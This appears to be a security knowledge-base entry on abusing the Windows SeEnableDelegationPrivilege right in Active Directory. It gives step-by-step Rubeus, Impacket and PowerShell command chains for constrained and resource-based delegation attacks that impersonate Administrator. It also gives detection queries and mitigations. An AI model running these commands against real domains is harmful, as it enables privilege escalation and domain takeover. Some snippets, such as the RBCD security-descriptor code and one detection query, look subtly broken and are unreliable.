| Attribute | Details |
|---|---|
| Technique ID | PE-TOKEN-007 |
| MITRE ATT&CK v18.1 | T1134 - Access Token Manipulation (generic; sub-technique not mapped) |
| Tactic | Privilege Escalation / Lateral Movement |
| Platforms | Windows AD |
| Severity | High |
| CVE | N/A (permission design flaw / misconfiguration) |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-09 |
| Affected Versions | Server 2008 R2 and later (Windows 2008+) |
| Patched In | N/A (requires privileged access; no patch, only prevention) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: SeEnableDelegationPrivilege (often called “Enable Delegation” or “Enable Computer and User Accounts to be Trusted for Delegation”) is a Windows user right that allows an account to modify Kerberos delegation settings on AD objects. Specifically, it permits modification of the userAccountControl attribute’s delegation flags (TrustedForDelegation, TrustedToAuthForDelegation) and the msDS-AllowedToDelegateTo attribute (for Constrained Delegation) or msDS-AllowedToActOnBehalfOfOtherIdentity (for Resource-Based Constrained Delegation). If an attacker obtains an account with SeEnableDelegationPrivilege, they can enable delegation on high-value targets (Domain Admins, service accounts) to set up Kerberos delegation attacks, ultimately leading to privilege escalation and domain compromise.
Attack Surface: Active Directory user rights assignment; specifically, Group Policy or local policy settings that grant SeEnableDelegationPrivilege. The privilege is typically assigned only to Domain Admins and Enterprise Admins, but misconfigured environments may grant it to additional groups (Service Admins, Exchange Servers, custom delegation admins, etc.).
Business Impact: High – Enables Kerberos Delegation Attacks. An account with SeEnableDelegationPrivilege can abuse Constrained Delegation (CD) or Resource-Based Constrained Delegation (RBCD) to impersonate any domain user, including Domain Admins, on delegated services. Combined with the ability to create computer accounts (via MachineAccountQuota) or compromise existing service accounts, this leads to privilege escalation and domain takeover.
Technical Context: SeEnableDelegationPrivilege abuse typically requires multiple prerequisites: (1) Account possessing the privilege; (2) Target service account (either already exists or attacker can create one); (3) Ability to set delegation properties (via LDAP, PowerShell, or GUI tools). The privilege itself is not commonly audited, making it a stealthy persistence/escalation path if granted to non-obvious accounts.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 5.2.3.2 (Account Operators) | Restrict users with delegation rights |
| DISA STIG | V-42403 (Privileged Groups) | Control access to privilege escalation capabilities |
| NIST 800-53 | AC-2 | Account Management; AC-6 - Least Privilege |
| GDPR | Art. 32 | Technical security controls |
| DORA | Art. 9 | Protection and Prevention |
| NIS2 | Art. 21 | Cybersecurity risk management |
| ISO 27001 | A.9.2.3 | Privileged access rights; A.9.4.1 - Information access restriction |
| ISO 27005 | Risk Assessment | Unauthorized elevation via delegation abuse |
Supported Versions:
Prerequisite Checks:
Tools & Dependencies:
# Method 1: Query who has the privilege (from domain controller)
gpresult /h report.html # Generate policy report
# Search report for "SeEnableDelegationPrivilege"
# Method 2: Check Group Policy directly
Get-GPOReport -All -ReportType Html | Select-String -Pattern "SeEnableDelegationPrivilege"
# Method 3: Query local security policy
secedit /export /cfg C:\temp\policy.inf
Select-String -Path C:\temp\policy.inf -Pattern "SeEnableDelegationPrivilege"
What to Look For:
Expected Output:
SeEnableDelegationPrivilege = *S-1-5-21-...-512 # Domain Admins
# Find accounts with TrustedForDelegation flag set (Unconstrained)
Get-ADUser -Filter { UserAccountControl -band 0x80000 } -Properties UserAccountControl, TrustedForDelegation
# Find accounts with Constrained Delegation configured
Get-ADUser -Filter * -Properties msDS-AllowedToDelegateTo | Where-Object { $_.'msDS-AllowedToDelegateTo' -ne $null }
Get-ADComputer -Filter * -Properties msDS-AllowedToDelegateTo | Where-Object { $_.'msDS-AllowedToDelegateTo' -ne $null }
# Find accounts with RBCD configured
Get-ADUser -Filter * -Properties msDS-AllowedToActOnBehalfOfOtherIdentity | Where-Object { $_.'msDS-AllowedToActOnBehalfOfOtherIdentity' -ne $null }
What to Look For:
# Check who has write permission on a specific user account
$user = Get-ADUser "ServiceAccount"
$acl = Get-Acl -Path "AD:\$($user.DistinguishedName)"
$acl.Access | Where-Object { $_.ActiveDirectoryRights -match "Write" }
Supported Versions: Server 2008 R2 and later
Objective: Confirm the attacker’s account possesses the necessary privilege.
Command:
# Check if current user has SeEnableDelegationPrivilege
whoami /priv | findstr SeEnableDelegationPrivilege
# Alternative: Check via Group Policy
Get-ADUser $env:USERNAME -Properties MemberOf | Select-Object MemberOf
Expected Output:
SeEnableDelegationPrivilege
What This Means:
Objective: Choose the service to configure delegation for (e.g., a database server, Exchange server, or domain admin user).
Command:
# List all service accounts
Get-ADUser -Filter { ServicePrincipalName -like "*" } -Properties ServicePrincipalName
# Example targets:
# - Domain Admins (sensitive, high-value)
# - SQL Service accounts
# - Exchange Server
# - File Server
What to Look For:
Objective: Configure Constrained Delegation on the target account to allow impersonation to specified services.
Command (Enable CD on Service Account to Impersonate to FILE Server):
# Method 1: Using Set-ADUser (if SeEnableDelegationPrivilege is held)
$serviceAccount = Get-ADUser "ServiceAccount"
Set-ADUser -Identity $serviceAccount -ServicePrincipalNames @{Add="cifs/fileserver.domain.local"}
# Then set delegation target
Set-ADUser -Identity $serviceAccount -Add @{"msDS-AllowedToDelegateTo" = @("cifs/fileserver.domain.local")}
# Verify
Get-ADUser -Identity $serviceAccount -Properties msDS-AllowedToDelegateTo | Select-Object msDS-AllowedToDelegateTo
Expected Output:
msDS-AllowedToDelegateTo : {cifs/fileserver.domain.local}
What This Means:
Objective: Get the password or NTLM hash for the service account (now configured for delegation).
Command (Kerberoast the Service Account):
# If the account has an SPN, Kerberoast it
Get-ADUser -Identity $serviceAccount -Properties ServicePrincipalName | Select-Object ServicePrincipalName
# Request TGS and crack offline
# (Use Impacket GetUserSPNs or Rubeus for this)
Alternative: Compromise the Account Directly
# If attacker has local admin on server running the service, dump credentials:
# Use Mimikatz, dumping LSASS, or other credential extraction
Objective: Use the compromised service account to impersonate Domain Admin and access the delegated service.
Command (Using Rubeus on Windows):
# Step 1: Get TGT for compromised service account
.\Rubeus.exe asktgt /user:serviceaccount /password:ServicePassword123! /domain:domain.local /dc:dc01
# Step 2: Use S4U2Proxy to impersonate admin
.\Rubeus.exe s4u /ticket:serviceaccount.kirbi /impersonateuser:Administrator /mspn:cifs/fileserver.domain.local /ptt
Command (Using Impacket on Linux):
# getTGT for service account
python3 getTGT.py 'domain.local/serviceaccount:ServicePassword123!'
# getST with S4U2Proxy
export KRB5CCNAME=serviceaccount.ccache
python3 getST.py -self -impersonate Administrator -altservice cifs/fileserver.domain.local -k -no-pass -dc-ip 10.0.0.1 domain.local/serviceaccount
Supported Versions: Server 2012 and later
Objective: Find a target account (file server, database server, etc.) that the attacker can write to.
Command:
# Method 1: Manual enumeration
Get-ADComputer -Filter * | ForEach-Object {
$acl = Get-Acl -Path "AD:\$($_.DistinguishedName)"
if ($acl.Access | Where-Object { $_.IdentityReference -match $env:USERNAME -and $_.ActiveDirectoryRights -match "Write" }) {
Write-Host "Writable: $($_.Name)"
}
}
# Method 2: Use BloodHound to visualize write permissions
# (Graph: "Find object owned by current user" -> privileges chain)
Objective: Create a new computer account (or use an existing one if compromised) that will impersonate admin to the target.
Command:
# Create new computer account
New-ADComputer -Name "ATTACKPC" -SamAccountName "ATTACKPC$" -Description "Dummy account for testing"
# Set password
Set-ADAccountPassword -Identity "ATTACKPC$" -NewPassword (ConvertTo-SecureString "AttackPassword123!" -AsPlainText -Force) -Reset
Objective: Allow the attacker’s computer account to impersonate users to the target.
Command:
# Get the ATTACKPC$ computer's SID
$attackerSID = (Get-ADComputer "ATTACKPC$").SID
# Get target computer
$target = Get-ADComputer "TargetFileServer"
# Create security descriptor allowing impersonation
$sd = New-Object System.DirectoryServices.ActiveDirectorySecurity
$sd.SetSecurityDescriptorBinaryForm($attackerSID.Value)
# Set on target's msDS-AllowedToActOnBehalfOfOtherIdentity
Set-ADComputer -Identity $target -Replace @{"msDS-AllowedToActOnBehalfOfOtherIdentity" = $sd}
# Verify
Get-ADComputer -Identity $target -Properties msDS-AllowedToActOnBehalfOfOtherIdentity
Command (Using Rubeus):
# Get TGT for ATTACKPC$
.\Rubeus.exe asktgt /user:ATTACKPC$ /password:AttackPassword123! /domain:domain.local /dc:dc01
# Use S4U2Proxy to impersonate admin on target
.\Rubeus.exe s4u /ticket:attackpc.kirbi /impersonateuser:Administrator /mspn:cifs/targetfileserver.domain.local /ptt
Command (Using Impacket):
# Similar to Constrained Delegation method above
python3 getTGT.py 'domain.local/ATTACKPC$:AttackPassword123!'
export KRB5CCNAME=attackpc.ccache
python3 getST.py -self -impersonate Administrator -altservice cifs/targetfileserver.domain.local -k -no-pass domain.local/ATTACKPC$
URL: Microsoft Docs - AD Module
Usage:
Get-ADUser -Identity "username" -Properties msDS-AllowedToDelegateTo
Set-ADUser -Identity "username" -Add @{"msDS-AllowedToDelegateTo" = @("service/target.domain.local")}
URL: GitHub - PowerSploit
Usage:
Get-DomainUser -Unconstrained # Find unconstrained delegation
Find-DomainUserLocation # Find users with interesting permissions
URL: GitHub - Rubeus
Usage:
.\Rubeus.exe asktgt /user:svc_account /password:Password123! /domain:domain.local
.\Rubeus.exe s4u /ticket:svc_account.kirbi /impersonateuser:Administrator /mspn:cifs/target.domain.local
URL: GitHub - BloodHound
Usage: GUI-based; search for delegation chains and privilege escalation paths
KQL Query:
SecurityEvent
| where EventID == 4704 // User Right Assigned
| where PrivilegeList contains "SeEnableDelegationPrivilege"
| project TimeGenerated, Computer, SubjectUserName=tolower(SubjectUserName), PrivilegeList
| where SubjectUserName !in ("system", "local service", "network service") // Filter known accounts
KQL Query:
SecurityEvent
| where EventID == 4738 // User account changed
| where TargetUserName has "msDS-AllowedToDelegateTo" or TargetUserName has "msDS-AllowedToActOnBehalfOfOtherIdentity"
| project TimeGenerated, Computer, SubjectUserName, TargetUserName, TargetSid
Event ID: 4704 (User Right Assigned)
Event ID: 4738 (User Account Modified)
Restrict SeEnableDelegationPrivilege Assignment: Ensure only Domain Admins and Enterprise Admins hold this privilege.
Manual Steps (Group Policy):
gpupdate /forceRestrict Constrained Delegation Usage: Audit all accounts with delegation enabled; remove unless business-critical.
Manual Steps (PowerShell):
# Find all accounts with delegation
Get-ADUser -Filter * -Properties msDS-AllowedToDelegateTo | Where-Object { $_.'msDS-AllowedToDelegateTo' -ne $null } | Format-Table Name, msDS-AllowedToDelegateTo
# Remove delegation if not needed
Set-ADUser -Identity "ServiceAccount" -Clear msDS-AllowedToDelegateTo
Enable Audit Logging for Delegation Changes:
Manual Steps (Auditing):
gpupdate /forceMonitor for Unusual Delegation Configurations: Alert on unexpected delegation assignments.
Restrict DACL Write Permissions: Limit who can modify computer/user object properties.
Manual Steps:
Use RBCD Over Unconstrained/Constrained Delegation: RBCD is more secure (controlled at target level).
# Verify SeEnableDelegationPrivilege assignment
Get-GPOReport -All -ReportType Html | Select-String -Pattern "SeEnableDelegationPrivilege"
# Find all accounts with delegation
Get-ADUser -Filter { userAccountControl -band 0x80000 } | Select-Object Name, UserAccountControl
# Verify audit policies
auditpol /get /subcategory:"User Account Management" /r
Disable-ADAccount -Identity "CompromisedService"
Set-ADUser -Identity "CompromisedService" -Clear msDS-AllowedToDelegateTo
Get-WinEvent -LogName Security -FilterXPath "*[System[(EventID=4768 or EventID=4769)]]" | Select-Object TimeCreated, Message